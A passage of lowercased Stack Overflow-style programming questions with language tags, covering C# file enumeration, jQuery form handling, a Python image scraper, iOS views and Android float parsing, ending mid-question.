is there anyway to get all files names without exceptions in c#   update: i be glad to drop the c# requirement  and just see any program that can list all the files running as admin or system  my question is has anyone seen such a thing     there are numerous methods of enumerating files in a directory  but all suffer the same problems:     the specified path  file name  or both are too long. the fully qualified file name must be less than 260 characters  and the directory name must be less than 248 characters.      access to the path  c:\users\all users\application data  is denied     etc.    even running under admin  single user machine  it seems impossible to list all the files without encountering exceptions\errors.    is it really an impossible task just to get list of all the files under windows  has anyone ever been able to obtain the complete list of all files on their machine using c# or any other method     <a href= http://msdn.microsoft.com/en-us/library/dd997370.aspx  rel= nofollow >this link from ms</a> with the title  enumerate directories and files    does not show how to enumerate directories and files  it only show a subset of what that will not throw : directorynotfoundexception  unauthorizedaccessexception  pathtoolongexception      update : here is sample code to run over c and attempt to enumerate all the files and errors. even when running this as admin there are folders that not only can be access  but i even can t change their ownership to admin! for example :  c:\windows\csc     just have look at  errors {0}.csv  log file to see how many places are inaccessible to admin.   <pre><code>using system; using system.collections.generic; using system.io; using system.linq;   class program {  static system.io.streamwriter logfile; static system.io.streamwriter errorfile; static void main(string[] args) {     string directory = @ c:\ ;      logfile = new system.io.streamwriter(string.format(@ e:\files {0}.csv   datetime.now.tostring( yyyymmddhhmm )));     errorfile = new system.io.streamwriter(string.format(@ e:\errors {0}.csv   datetime.now.tostring( yyyymmddhhmm )));     traversetree(directory  ongotfileinfo  ongotexception);      logfile.close();     errorfile.close();  }  public static void ongotfileinfo(system.io.fileinfo fileinfo) {     logfile.writeline( {0} {1}    fileinfo.fullname  fileinfo.length.tostring( n0 )); }  public static void ongotexception(exception ex  string info) {     errorfile.writeline( {0} {1}   ex.message  info); }  public static void traversetree(string root  action&lt;system.io.fileinfo&gt; fileaction  action&lt;exception  string&gt; erroraction) {     // data structure to hold names of subfolders to be      // examined for files.     stack&lt;string&gt; dirs = new stack&lt;string&gt;(20);      if (!system.io.directory.exists(root))     {         throw new argumentexception();     }     dirs.push(root);      while (dirs.count &gt; 0)     {         string currentdir = dirs.pop();         string[] subdirs;         try         {             subdirs = system.io.directory.getdirectories(currentdir);         }         // an unauthorizedaccessexception exception will be thrown if we do not have          // discovery permission on a folder or file. it may or may not be acceptable           // to ignore the exception and continue enumerating the remaining files and           // folders. it is also possible (but unlikely) that a directorynotfound exception           // will be raised. this will happen if currentdir has been deleted by          // another application or thread after our call to directory.exists. the           // choice of which exceptions to catch depends entirely on the specific task           // you are intending to perform and also on how much you know with certainty           // about the systems on which this code will run.           catch (system.exception e)         {             erroraction(e  currentdir);             continue;         }          string[] files = null;         try         {             files = system.io.directory.getfiles(currentdir);         }          catch (system.exception e)         {             erroraction(e  currentdir);             continue;         }          // perform the required action on each file here.          // modify this block to perform your required task.          foreach (string file in files)         {             try             {                 // perform whatever action is required in your scenario.                 system.io.fileinfo fi = new system.io.fileinfo(file);                 fileaction(fi);             }             catch (system.exception e)             {                 // if file was deleted by a separate application                  //  or thread since the call to traversetree()                  // then just continue.                 erroraction(e  file);                 continue;             }         }          // push the subdirectories onto the stack for traversal.          // this could also be done before handing the files.          foreach (string str in subdirs)             dirs.push(str);     }      } } </code></pre>,c#
javascript timer to close  i have the following code that closes an iframe footer pop-up i have.   <pre><code>&lt;a href= javascript:void(0)  onclick= parent.adphide( footer )  class= close &gt; &lt;img alt=   src= images/close.png  /&gt;&lt;/a&gt; </code></pre>   that works fine  what i m wanting though is to set a timer that after 5 seconds closes footer. any suggestions,javascript
selector for elements that contains elements of a class  is it possible to select the elements of a type that contains element with a determined class      example:   <pre><code>&lt;div class= mylabel  &gt;      &lt;label class= pagetitle  tabindex= -1 &gt;en la san fan the la patriki&lt;/label&gt; &lt;/div&gt;   &lt;div class= mylabel  &gt;      &lt;label tabindex= -1 &gt;other san fanes&lt;/label&gt; &lt;/div&gt;   </code></pre>   i want the first div to be returned but not the second. something like this:   <pre><code> div.mylabel:haschild([class*= pagetitle ]) </code></pre>,css
how to display one by one images when click the next button   i have beginner of iphone. i have images in a array but it return the null    i have use this code   <pre><code>- (void)viewdidload {     [super viewdidload]; images= [[nsarray arraywithobjects:                            [uiimage imagenamed:@ 1.png ]                          [uiimage imagenamed:@ 2.png ]                          [uiimage imagenamed:@ 3.png ]                          [uiimage imagenamed:@ 4.png ]                          nil] retain];   } -(ibaction)next {       currentimage++;     if(currentimage&gt;=[images count])     {         currentimage=0;       }      uiimage *img=[images objectatindex:currentimage];     [animalphoto setimage:img];     nslog(@ print:%@  currentimage);  } </code></pre>   first time click button images display but second time not display image and that return null value.. give any suggestion and source code which is apply in our code.,objective-c
alertview pop up doesn t save text input  if i were to use the code by @abbood  and change the section  //do stuff with the cell  to incorporate an alertview that pops up and the user can enter text to change the label of the cell. how would i do that  i tried the code below  but it only pops up the alert and doesn t do anything with what i entered in as the text to the alert. note: cell has a uilabel named label that i want to change the text of. it appears that the nslog i entered below to check the value of userenterthisstring is empty  the code has already executed before the text from gettitle is returned. i think i may need to delay the cell.label.text = userenteredthisstring until the alertview is done  how would i do this  or any other ideas for the code are welcome. the question that generated this code is @ <a href= https://stackoverflow.com/questions/18848725/long-press-gesture-on-uicollectionviewcell/25341917#25341917 >long press gesture on uicollectionviewcell</a>   <pre><code>-(void)handlelongpress:(uilongpressgesturerecognizer *)gesturerecognizer { if (gesturerecognizer.state != uigesturerecognizerstateended) {     return; } cgpoint p = [gesturerecognizer locationinview:self.collectionview];  nsindexpath *indexpath = [self.collectionview indexpathforitematpoint:p]; if (indexpath == nil){     nslog(@ couldn t find index path ); } else {     // get the cell at indexpath (the one you long pressed)     cell *cell =     [self.collectionview cellforitematindexpath:indexpath];      // do stuff with the cell     uialertview *gettitle = [[uialertview alloc] initwithtitle:@ add search keyword  message:nil delegate:self cancelbuttontitle:@ add  otherbuttontitles:nil];     gettitle.alertviewstyle = uialertviewstyleplaintextinput;     nsstring *  userenterthisstring = [[gettitle textfieldatindex:0] text];  // this part doesn t execute (wondering why it doesn t work )     cell.label.text = userenterthisstring;     nslog(userenterthisstring);     [gettitle show];     } } </code></pre>,ios
having a figure caption on the side of a centerd image  by the default a caption is below the image.   <pre><code>&lt;figure&gt; &lt;img src= some_img.jpg &gt;  &lt;figcaption&gt;some image caption&lt;/figcaption&gt; &lt;/figure&gt; </code></pre>   if you need the caption on the side you can just use <code>dispaly: inline</code> for <code>figcaption</code>.    then you can center both with <code>text-align: center</code>.     but how can you align just the image box on the center  while keeping the caption on the side of it     like this: <a href= https://i.imgur.com/8jrbg6u.jpg  rel= nofollow >mock up</a>,css
what is the fastest way to reverse a c-string  in place in c++   what s the fastest way to reverse a c-string  in place in c++ using only the  library   in particular  are there any methods that require less than o(strlen) time,c++
filename tricks in python  i have a folder containing my books that are in various formats (.pdf  .djvu  .dvi). and they all follow the format:    [name of the book] - [author].[an identifier indicating if it searchable or not].[filetype]    i want to make a list of my books that is of the format (x y z t) where x is the name of the book  y is the author  etc. my problem is that when i do:   <pre><code>for file in os.listdir( /home/username/books ): </code></pre>   file is a string  thus immutable  so i cannot change it.,python
inverted triangle using while loop c++  cant get to where i need to be. so i need a program using while loops only to get an output of . .    <pre><code>123456 12345 1234 123 12 1 </code></pre>   given  you enter the number amount of rows and in this case it is 6. my program now displays this   <pre><code>1 12 123 1234 12345 123456 </code></pre>   any help on inverting this  program currently appears as . .    <pre><code>#include &lt;iostream&gt; #include &lt;cmath&gt; using namespace std;  int main() {     int rows;     int i;     int j;      cout &lt;&lt;  enter number of rows:  ;     cin &gt;&gt; rows;      int k=rows;     i=1;      while (i &lt;= rows)     {           j=1;         while(j &lt;= i)         {             cout &lt;&lt; j%10;             j++;         }         cout &lt;&lt; endl ;         i++;     } } </code></pre>,c++
store array of classes in a list  i have a class as below    <pre><code>class euinput {     public euinput()     {          rtid = 0;     }      public int rtid { get; set; } } </code></pre>   i want to store this class with different rtid values in a list. i tried as below    <pre><code>static void main(string[] args) {    euinput clseuinput = new euinput();     list list = new list();     for (int i = 0; i &lt; 5; i++)    {        clseuinput.rtid = i;        list.add(clseuinput);     }     foreach (euinput obj in list)    {        console.writeline(obj.rtid.tostring());     }     console.readline();  } </code></pre>   i am getting an output as     4     4     4     4     4    but i need an outupt as     0     1     2     3     4,c#
how do i know if i have dotnet core 1.1   i ve downloaded the sdk from <a href= https://dot.net  rel= nofollow noreferrer >https://dot.net</a>  where i change the ui to  current  and click on  x64   and it downloads dotnet-dev-win-x64.1.0.0-preview2-1-003177.exe  which i then executed.    then at command prompt  dotnet --version  reports: 1.0.0-preview2-1-003177    shouldn t this be 1.1.0        when i download the lts version 1.0.1  the download is dotnetcore.1.0.1-sdk.1.0.0.preview2-003133-x64.exe    so it has 1.0.1 in the name  shouldn t the 1.1 version have 1.1 in the name,.net
what is difference between access modifiers and access specifiers <ol> <li> i saw so many sites  i get information like that.    <strong>access specifiers:<br></strong>       1.public <br>      2.private <br>      3.protected  and<br>      4.default.<br>  <strong>access modifiers:<br></strong>      1.final <br>      2.static <br>      3.synchronization <br>      4.abstract and<br>      5.transient<br> </li> <li> in other sites they told us both are same. </li> <li> in some other sites    <strong>access modifiers will be:<br></strong>      1.public <br>      2.private <br>      3.protected  and<br>      4.default.<br> </li> </ol>   i am totally confused about these things. <br>can any one explain about this please,java
one another way to let timer skip tick if the previous thread is still busy  i have the same problem as described in this topic <a href= https://stackoverflow.com/questions/3424907/how-to-let-timer-skip-tick-if-the-previous-thread-is-still-busy >how to let timer skip tick if the previous thread is still busy</a>    i don t know if i should create new topic for my problem  or i can  up  somehow existent thread (please let me know if i m wrong creating new topic)    i wrote such solution:   <pre><code>mutex refreshmutex = new mutex(); void onrefreshtimedevent(object source  elapsedeventargs args) {     try     {         refreshmutex.waitone();         // do work     } finally     {         refreshmutex.releasemutex();     } } </code></pre>   i think it s better because it s thread-safe and doesn t lock entiry object. i would appreciate any comments cause i m pretty novice in c# :)    does anyone see any potential problems with what i ve shared  i can t ask as an answer on the other discussion.    <strong>upd</strong> well it seems solution above doesn t work (thanks to user24601 for noticing). but i don t like the answer from referenced question because the call to servicetimer.stop() is not thread-safe. it could be a problem in the extreme frequent timers theoretically (and probably practically)  especially if system is used intensively (100% cpu load etc.). i m thinking now about such pattern:   <pre><code>[methodimpl(methodimploptions.synchronized)] void servicetimer_elapsed(object sender  elapsedeventargs e) {     try     {       servicetimer.stop();        // do some heavy processing...      }     finally     {       servicetimer.start();      } } </code></pre>,c#
urllib.error.httperror: http error 400: bad request from trying to get a set of images  i was trying to get a set of images for a dataset to train tiny-yolo on so i followed this tutorial     <a href= https://www.youtube.com/watch v=lg4t9ijkwhe&amp;index=5&amp;list=plx-lrbk6h3wsgvutnxb2kj358xfctl4bm  rel= nofollow noreferrer >https://www.youtube.com/watch v=lg4t9ijkwhe&amp;index=5&amp;list=plx-lrbk6h3wsgvutnxb2kj358xfctl4bm</a>    the first file that was written in the tutorial goes like this:   <pre><code>import os import urllib.request as ulib from bs4 import beautifulsoup as soup import json  url_a =  https://www.google.com/search ei=1m7nwepffyagmqg51q7ibg&amp;hl=en&amp;q={}  url_b =  \&amp;tbm=isch&amp;ved=0ahukewjjovnd7sjwahugqyykhtmrc2kqut0i7geoaq&amp;start={}  url_c =  \&amp;yv=2&amp;vet=10ahukewjjovnd7sjwahugqyykhtmrc2kqut0i7geoaq.1m7nwepffyagmqg51q7ibg  url_d =  \.i&amp;ijn=1&amp;asearch=ichunk&amp;async=_id:rg_s _pms:s  url_base =   .join((url_a  url_b  url_c  url_d))  headers = { user-agent :  chrome/67.0.3396.99 safari/537.36 }   def get_links(search_name):     search_name = search_name.replace(      + )     url = url_base.format(search_name  0)     request = ulib.request(url  none  headers)     json_string = ulib.urlopen(request).read()     page = json.loads(json_string)     new_soup = soup(page[1][1]   lxml )     images = new_soup.find_all( img )     links = [image[ src ] for image in images]     return links   def save_images(links  search_name):     directory = search_name.replace(      _ )     if not os.path.isdir(directory):         os.mkdir(directory)      for i  link in enumerate(links):         savepath = os.path.join(directory   {:06}.png .format(i))         ulib.urlretrieve(link  savepath)   if __name__ ==  __main__ :     search_name =  my search query      links = get_links(search_name)     save_images(links  search_name) </code></pre>   the only thing i changed was the headers variable since my user-agent is different than the guy in the tutorial s one.     to my supprise the script returned this error    <pre><code>urllib.error.httperror: http error 400: bad request </code></pre>   can anyone tell me what s wrong,python
setting the correct selector when inserting objects into dom with jquery  i am currently building a dynamic form that allows the user to add as many query strings as they would like.    in this i have to insert some logic that evaluates the selected operator from an options drop down control. if the user selects the between value then i need to insert a second field into the current row so that there are two text input fields (aka to and from). where i am struggling right now is on selecting elements as they are inserted in the dom.  i m new to jquery and i thought i understood selectors but i am still missing something.    code i have thus far    <pre><code>    $(document).ready(function () {                 var index = 0;                 $( #add ).click(function () {                     insertfields();                 });                 function insertfields() {                     index++;                     $( &lt;div id= additionalfield &gt;&lt;select name= condition &gt;&lt;option value= and &gt;and&lt;/option&gt;&lt;option value= or &gt;or&lt;/option&gt;&lt;/select&gt;&lt;input type= text  name= fieldname  id= fieldname  size= 20  /&gt;&lt;select name= operator &gt;&lt;option id= opt1  value= contains &gt;contains&lt;/option&gt;&lt;option id= opt2  value= does not contain &gt;does not contain&lt;/option&gt;&lt;option id= opt3  value= like &gt;like&lt;/option&gt;&lt;option id= opt4  value= between &gt;between&lt;/option&gt;&lt;/select&gt;&lt;input type= text  name= fieldvalue1  id= fieldvalue1  value=   + index +    size= 20  /&gt; &lt;input type= button  id= newadd  value= add  /&gt; &lt;input type= button  id= btnremove  value= remove  /&gt;&lt;/div&gt; ).appendto( #queryfields );                 }     //used live on the second buttons to rebind the function once the element was added.                     $( #newadd ).live( click   function () {                         index++;                     $( &lt;div id= additionalfield &gt;&lt;select name= condition &gt;&lt;option value= and &gt;and&lt;/option&gt;&lt;option value= or &gt;or&lt;/option&gt;&lt;/select&gt;&lt;input type= text  name= fieldname  id= fieldname  size= 20  /&gt;&lt;select id= newoperator  name= operator &gt;&lt;option id= opt1  value= contains &gt;contains&lt;/option&gt;&lt;option id= opt2  value= does not contain &gt;does not contain&lt;/option&gt;&lt;option id= opt3  value= like &gt;like&lt;/option&gt;&lt;option id= opt4  value= between &gt;between&lt;/option&gt;&lt;/select&gt;&lt;input type= text  name= fieldvalue1  id= fieldvalue1  value=   + index +    size= 20  /&gt; &lt;input type= button  id= newadd  value= add  /&gt; &lt;input type= button  id= btnremove  value= remove  /&gt;&lt;/div&gt; ).appendto( #queryfields );                 });                  $( #btnremove ).live( click   function () {                     $(this).parent().remove();                 });     //first select if performed on first row works fine                 $( select[name=operator] ).change(function () {                     var foo = $( select[name=operator] option:selected ).val();                     alert(foo); //test to see if i can reach the value                 }); </code></pre>   <strong>updated</strong> based upon suggestion from andrew   <pre><code>$( select ).live( change    .operclass   function () {             var foo2 = $( .operclass option:selected ).val();             alert(foo2);         });             }); </code></pre>   html   <pre><code> &lt;div id= queryfields &gt;             &lt;select name= condition &gt;                 &lt;option value= and &gt;and&lt;/option&gt;                 &lt;option value= or &gt;or&lt;/option&gt;             &lt;/select&gt;             &lt;input type= text  name= fieldname  id= fieldname  size= 20  /&gt;             &lt;select  name= operator &gt;                 &lt;option id= opt1  value= contains &gt;contains&lt;/option&gt;                 &lt;option id= opt2  value= does not contain &gt;does not contain&lt;/option&gt;                 &lt;option id= opt3  value= like &gt;like&lt;/option&gt;                 &lt;option id= opt4  value= between &gt;between&lt;/option&gt;             &lt;/select&gt;             &lt;input type= text  name= fieldvalue1  id= fieldvalue1  value=   size= 20  /&gt;             &lt;input type= button  id= add  value= add  /&gt;          &lt;/div&gt; </code></pre>   another wierd thing i am seeing is once i create a row the previous row seems to loose the binding to the click event. i.e. if i have three rows rows 1 and 3 will fire but row 2 will not it is as if the .live() method only works on the last row created.    is .live the wrong method to use here  i tried using .on() but that would never trigger anything.     i d really appreicate any insight as to how to get the select controls to properly fire and return the correct selected value as well as if there are any suggetions on the best appraoch to rebind the control to an event when being inserted into the dom.    thank you     <strong>working solution</strong> thanks to andrew for getting me on the right track. the issue was related to not using unique identifiers within the dom as well as my jquery selector was off. thanks to andrews suggestions i was able to get the solution working. below is the correct code:   <pre><code>$(document).ready(function () {             var index = 0;             $( #add ).click(function () {                 insertfields();             });             function insertfields() {                 index++;                 $( &lt;div id= additionalfield &gt;&lt;select name= condition &gt;&lt;option value= and &gt;and&lt;/option&gt;&lt;option value= or &gt;or&lt;/option&gt;&lt;/select&gt;&lt;input type= text  name= fieldname  id= fieldname  size= 20  /&gt;&lt;select name= operator class= operclass &gt;&lt;option id= opt1  value= contains &gt;contains&lt;/option&gt;&lt;option id= opt2  value= does not contain &gt;does not contain&lt;/option&gt;&lt;option id= opt3  value= like &gt;like&lt;/option&gt;&lt;option id= opt4  value= between &gt;between&lt;/option&gt;&lt;/select&gt;&lt;input type= text  name= fieldvalue1  id= fieldvalue1  value=   + index +    size= 20  /&gt; &lt;input type= button  id= newadd  value= add  /&gt; &lt;input type= button  id= btnremove  value= remove  /&gt;&lt;/div&gt; ).appendto( #queryfields );             }             $( #newadd ).live( click   function () {                 index++;                 $( &lt;div id= additionalfield &gt;&lt;select name= condition &gt;&lt;option value= and &gt;and&lt;/option&gt;&lt;option value= or &gt;or&lt;/option&gt;&lt;/select&gt;&lt;input type= text  name= fieldname  id= fieldname  size= 20  /&gt;&lt;select id= newoperator  name= operator  class= operclass &gt;&lt;option id= opt1  value= contains &gt;contains&lt;/option&gt;&lt;option id= opt2  value= does not contain &gt;does not contain&lt;/option&gt;&lt;option id= opt3  value= like &gt;like&lt;/option&gt;&lt;option id= opt4  value= between &gt;between&lt;/option&gt;&lt;/select&gt;&lt;input type= text  name= fieldvalue1  id= fieldvalue1  value=   + index +    size= 20  /&gt; &lt;input type= button  id= newadd  value= add  /&gt; &lt;input type= button  id= btnremove  value= remove  /&gt;&lt;/div&gt; ).appendto( #queryfields );             });              $( #btnremove ).live( click   function () {                 $(this).parent().remove();             });              $( .operclass ).change(function () {                 var foo = $( .operclass option:selected ).val();                 alert(foo); //test to see if i can reach the value             });              $( select ).live( change    .operclass   function () {                 var foo2 = $(this   .operclass option:selected ).val();                 alert(foo2);             });         }); </code></pre>,jquery
save sortable list through jquery ui list with ng-click angularjs - not saving correct order  i have a sortable jquery ui list and i am trying to send the data back to the server. when i send the data back to the server i am still getting the original order. however -  when i console.log sortareasev  i am getting the correct sort order.    here is the sort areas   <pre><code>$( #sortareas ).on( nestable-stop   function(ev)    {        var serialized = $(this).data( nestable ).serialize()             str =   ;        //console.log( $(this).data( nestable ).list() );         str = iteratelist(serialized  0);         //iteratelist(serialized);          $( #sortareasev ).val(str);     }); }); </code></pre>   ul class   <pre><code>&lt;ul id= sortareas  class= uk-nestable &gt;     &lt;li data-item= {{area.label}}  data-item-id= {{area.uuid}}  ng-repeat= area in areas &gt;      &lt;div class= uk-nestable-item &gt;          &lt;div class= uk-nestable-handle &gt;&lt;/div&gt;          &lt;div data-nestable-action= toggle &gt;&lt;/div&gt;           &lt;div class= list-white &gt;{{area.label}}&lt;/div&gt;         &lt;/div&gt;     &lt;/li&gt;  &lt;/ul&gt; </code></pre>   buttton class   <pre><code>&lt;button class= btn btn-lg btn-primary  id= sortareasev  ng-click= savesort(areas) &gt; </code></pre>   sort areas controller   <pre><code> $scope.savesort = function (areas) {             console.log(areas);              $http({                     method:  post                        url: apiurl                      headers: {                          authorization : token                     }                      data: {areas:areas}                 }) </code></pre>   any help with be greatly appreciated. thank you.     here is a plunker....<a href= http://plnkr.co/edit/fnhufp42mb30ywe9h7t0 p=preview  rel= nofollow >http://plnkr.co/edit/fnhufp42mb30ywe9h7t0 p=preview</a>,angularjs
binding function to null <pre><code>function f() {   return this.x } f = f.bind(null) f() // undefined x = 1 f() // 1 </code></pre>   i cannot find any page where it says that binding to <code>null</code> or <code>undefined</code> has no effect. everywhere it is written that <code>this</code> becomes a link to the first argument of <code>bind</code>  exceptions are not mentioned. can somebody provide a link to somewhere describing such behaviour,javascript
how to write data structure to file for later use   if i want to deal with some gigantic data  for example  search to find if one item in it  maybe i should sort these data first then a binary search. but the next time if i want to do the same job  i d sort it again  for gigantic data  it s a pain  so maybe i should sort and store them somewhere for later use.    c provides some library tools to read/write  i can use them to operate into/out a array  but if i want to store some other valuable data structure such as a struct  a linked-list or even a hash table(again  with gigantic data in it) or red-black tree  how can i write these well constructed data in to a file and read them in to my program later      here has a <a href= https://stackoverflow.com/questions/2808277/can-we-write-a-hashtable-to-a-file >qa</a> to deal with this problem in <strong>java</strong>  and i want to know the answer in <strong>c</strong>.,c
background loading javascript into iframe without using jquery/ajax   i m working on an offline only help system which requires loading a large amount of search-related data into an iframe before the search functionality can be used.   due to the folder structure of the project  i am unable to use ajax-related background load methods  since the files i need are loaded a few directories  up and over.     i have written some code which delays the loading of the help data until the rest of the webpage is loaded.  the help data consists of a bunch of javascript files which have information about the terms  ect that exist in the help books which are installed on the system.    the webpage works fine  until i start to load this help data into a hidden iframe.  while the javascript files are loading  i can not use any of the webpage.  links that require a small files be downloaded for hover over effects don t show up  javascript (switching tabs on the page) has no effect.    i m wondering if this is just a limitation of the way javascript works  or if there s something else going on here.   once all the files are loaded for the help system  the webpage works as expected.   <pre><code>function test(){    var  mgcframe = eval( parent.parent );     if((allframesloaded == true)){         t2 = mgcframe.settimeout( this.ihheader.frames[0].loaddata()  1);  }    else{    t1 = mgcframe.settimeout( this.ihheader.frames[0].test()  1000);   }   } </code></pre>   load data simply starts the data loading process.    thanks for any help you can provide.,javascript
image in the middle of a blank page  i m creating a blank page with a image in the middle of the page.  i m aligning the image in html  but it doesn t work. i can only align it left and right and if i am setting aling= middle  it doesn t do anything...    so... what can i do,html
adding formats to nsurl  i want to add formate to mailto  by the formats are not adding to the mail please correct the code below if any thing is wrong..   <pre><code>nsstring * msg=[nsstring stringwithformat:@ xyz %@  x]; [[uiapplication sharedapplication]openurl:[nsurl urlwithstring:@ mailto://xyz@gmail.com&amp;subject=results&amp;body==msg ]]; */ </code></pre>   but msg object is not taking the value...    can anyone suggest me.    thanks!!!!,objective-c
is asp.net still worth learning or is it being replaced by frameworks like jquery  we have been using asp.net for a big project for > 5 years. recently  we find that javascript is a preferred way of rendering data on the page. so i would like to ask if others are also moving in the direction of javascript / webservices / json and thus asp.net is becoming irrelevant      also  does anybody ever use asp.net server controls or is it completely obsolete by now      thanks !,asp.net
asp.net triggers callback after postback  <br> i have quite complex project and something strange occurs. page contains ajax controls  custom controls (which contain also other custom controls) etc.<br> when page s dropdown control selected item changes  autopostback event fires = this is fine. but  after processing of the postback event  page_load event is fired again with ispostback = false ... so the page tries to initialize again. i cannot figure out why ...  <br> does anybody have some idea (from this brief description)  why is this happenning     thank you <br> moyo,asp.net
i am not getting the  profile  property in the code behind  hai       i have added some profile properties to my web.config:   <pre><code>&lt;profile automaticsaveenabled = true &gt;         &lt;properties&gt;           &lt;add name= numvisits  type= system.int32 /&gt;           &lt;add name= username  type= system.string /&gt;           &lt;add name= gender  type= bool /&gt;           &lt;add name= birthday  type= system.datetime /&gt;          &lt;/properties&gt;        &lt;/profile&gt; </code></pre>   however when i try to access the property in a code behind it does not exist. the following code does not work (says firstname is not a property):    profile.gender and in the asp.net configuration  profile tab   is not showing. i have rebuilt the solution. i am using vb.net(3.5),asp.net
why mysql (not in) faster than without subquery   i can write a query with two differents types:     <pre><code>select *  from `pictures`  where `field_id` not in (select `field_id`                           from `table`                           where `confirm` = 0)   </code></pre>   and     <pre><code>select *  from `pictures`  where `field_id` not in (12 56 435 44 25 52 876 99)   </code></pre>   but the second example are very faster!<br> what is the reason for being faster,mysql
calling sp s in .net mvc 4 + ef 5  my question is  can we call sp s from ef as we call using ado.net commands. if yes  can you please post some sample codes.    i have just started working on .net mvc 4+ ef 5(orm). but don t have much idea how ef works. is ef is better than ado.net objects . i am new to this type of coding. so need some clarification on this.    thanks in advance.    jagadisha,.net
flip view for 2.2.1 iphone sdk  i have an app that works great in 3.1.2  yet when i revert to 2.2.1 my method to flip the view doesn t work  using the following code:   <pre><code>-(ibaction)infobuttonpressed:(id)sender {     secondviewcontroller *second = [[secondviewcontroller alloc] initwithnibname: nil bundle:nil];      second.modaltransitionstyle = uimodaltransitionstylefliphorizontal;     [self presentmodalviewcontroller:second animated:yes]; } </code></pre>   i get the following error (<a href= http://screencast.com/t/ytjlytgz  rel= nofollow noreferrer >http://screencast.com/t/ytjlytgz</a>). thoughts on how i can fix this easily,iphone
when entering dot(.) calculator crashes  i have the following code for calculating the values entered in 2 of the 3 edittexts.   <pre><code>public void calculeaza() {      totaltest = 0;     prod = new string[allprod.size()];     pret = new string[allpret.size()];     cant = new string[allcant.size()];      for (int m = 0; m &lt; allprod.size(); m++) {          prod[m] = allprod.get(m).gettext().tostring();         if (prod[m].matches(  )) {             prod[m] = float.tostring(0);          }     }      for (int j = 0; j &lt; allcant.size(); j++) {          cant[j] = allcant.get(j).gettext().tostring();         if (cant[j].matches(  )) {             cant[j] = float.tostring(0);          }     }      for (int k = 0; k &lt; allpret.size(); k++) {         pret[k] = allpret.get(k).gettext().tostring();         if (pret[k].matches(  )) {             pret[k] = float.tostring(0);          }     }      for (int l = 0; l &lt; allpret.size(); l++) {          float temp = float.parsefloat(cant[l]) * float.parsefloat(pret[l]);          totaltest = totaltest + temp;          textview totalf = (textview) findviewbyid(r.id.total);         totalf.settext(string.format( total: %.2f   totaltest));      } } </code></pre>   the problem is that it crashes when entering dot(.) first and not 0.x .how can i prevent this   or how can i make so that if the user enters .6 for example to automatically make it 0.6   also is there a way to make both .(dot) and  (comma) able to be entered for float values   in my country we usualy use comma and not dot..    edit : logcat: it fails when calling calculeaza()   <pre><code>06-26 00:23:53.952: e/androidruntime(15220): fatal exception: main 06-26 00:23:53.952: e/androidruntime(15220): java.lang.numberformatexception: invalid float:    06-26 00:23:53.952: e/androidruntime(15220):    at java.lang.stringtoreal.invalidreal(stringtoreal.java:63) 06-26 00:23:53.952: e/androidruntime(15220):    at java.lang.stringtoreal.initialparse(stringtoreal.java:163) 06-26 00:23:53.952: e/androidruntime(15220):    at java.lang.stringtoreal.parsefloat(stringtoreal.java:304) 06-26 00:23:53.952: e/androidruntime(15220):    at java.lang.float.parsefloat(float.java:300) 06-26 00:23:53.952: e/androidruntime(15220):    at com.example.testlayout.mainactivity.calculeaza(mainactivity.java:494) 06-26 00:23:53.952: e/androidruntime(15220):    at com.example.testlayout.mainactivity.ontextchanged(mainactivity.java:517) 06-26 00:23:53.952: e/androidruntime(15220):    at android.widget.textview.sendontextchanged(textview.java:7231) 06-26 00:23:53.952: e/androidruntime(15220):    at android.widget.textview.handletextchanged(textview.java:7290) 06-26 00:23:53.952: e/androidruntime(15220):    at android.widget.textview$changewatcher.ontextchanged(textview.java:8880) 06-26 00:23:53.952: e/androidruntime(15220):    at android.text.spannablestringbuilder.sendtextchanged(spannablestringbuilder.java:962) 06-26 00:23:53.952: e/androidruntime(15220):    at android.text.spannablestringbuilder.replace(spannablestringbuilder.java:496) 06-26 00:23:53.952: e/androidruntime(15220):    at android.text.spannablestringbuilder.replace(spannablestringbuilder.java:435) 06-26 00:23:53.952: e/androidruntime(15220):    at android.text.spannablestringbuilder.replace(spannablestringbuilder.java:30) 06-26 00:23:53.952: e/androidruntime(15220):    at android.view.inputmethod.baseinputconnection.replacetext(baseinputconnection.java:672) 06-26 00:23:53.952: e/androidruntime(15220):    at android.view.inputmethod.baseinputconnection.committext(baseinputconnection.java:196) 06-26 00:23:53.952: e/androidruntime(15220):    at com.android.internal.widget.editableinputconnection.committext(editableinputconnection.java:183) 06-26 00:23:53.952: e/androidruntime(15220):    at com.android.internal.view.iinputconnectionwrapper.executemessage(iinputconnectionwrapper.java:279) 06-26 00:23:53.952: e/androidruntime(15220):    at com.android.internal.view.iinputconnectionwrapper$myhandler.handlemessage(iinputconnectionwrapper.java:77) 06-26 00:23:53.952: e/androidruntime(15220):    at android.os.handler.dispatchmessage(handler.java:99) 06-26 00:23:53.952: e/androidruntime(15220):    at android.os.looper.loop(looper.java:137) 06-26 00:23:53.952: e/androidruntime(15220):    at android.app.activitythread.main(activitythread.java:5041) 06-26 00:23:53.952: e/androidruntime(15220):    at java.lang.reflect.method.invokenative(native method) 06-26 00:23:53.952: e/androidruntime(15220):    at java.lang.reflect.method.invoke(method.java:511) 06-26 00:23:53.952: e/androidruntime(15220):    at com.android.internal.os.zygoteinit$methodandargscaller.run(zygoteinit.java:793) 06-26 00:23:53.952: e/androidruntime(15220):    at com.android.internal.os.zygoteinit.main(zygoteinit.java:560) 06-26 00:23:53.952: e/androidruntime(15220):    at dalvik.system.nativestart.main(native method) </code></pre>,android
angular1 ng-show doesn t show the span even though the condition is true  i have an accordion list as following:   <pre><code>&lt;ion-list&gt;   &lt;div ng-repeat= day in days &gt;&lt;br&gt;     &lt;div class= item item-icon-left   ng-click= togglegroup(day)  ng-class= {active: isgroupshown(day)} &gt;       &lt;i class= icon icon-accessory  ng-class= isgroupshown(day)    ion-minus  :  ion-plus  &gt;&lt;/i&gt;       &amp;nbsp;       {{day.name}}     &lt;/div&gt;     &lt;a class= item item-icon-left item-accordion  ng-show= isgroupshown(day)  ng-repeat= exercise in day.exercises  type= item-text-wrap         href= #/tab/plan/{{exercise.id}} &gt;       {{exercise.name}}        &lt;!-- trial led --&gt;          &lt;span ng-show= {{exercise.watchedtoday}}==true  style= float:right; &gt;&lt;i class= ion-checkmark-round &gt;&lt;/i&gt;&lt;/span&gt;      &lt;/a&gt;   &lt;/div&gt; &lt;/ion-list&gt;  </code></pre>   on initial component load even though the condition is true i.e. <code>{{exercise.watchedtoday}}==true</code> the span is not shown. if i put {{exercise.watchedtoday}} above span it prints true but the span is not shown.     when i click on the link > some other component loads > and if i come back it is visible.     why does it happen  it it because of multiple conditions i.e. ng-repeat  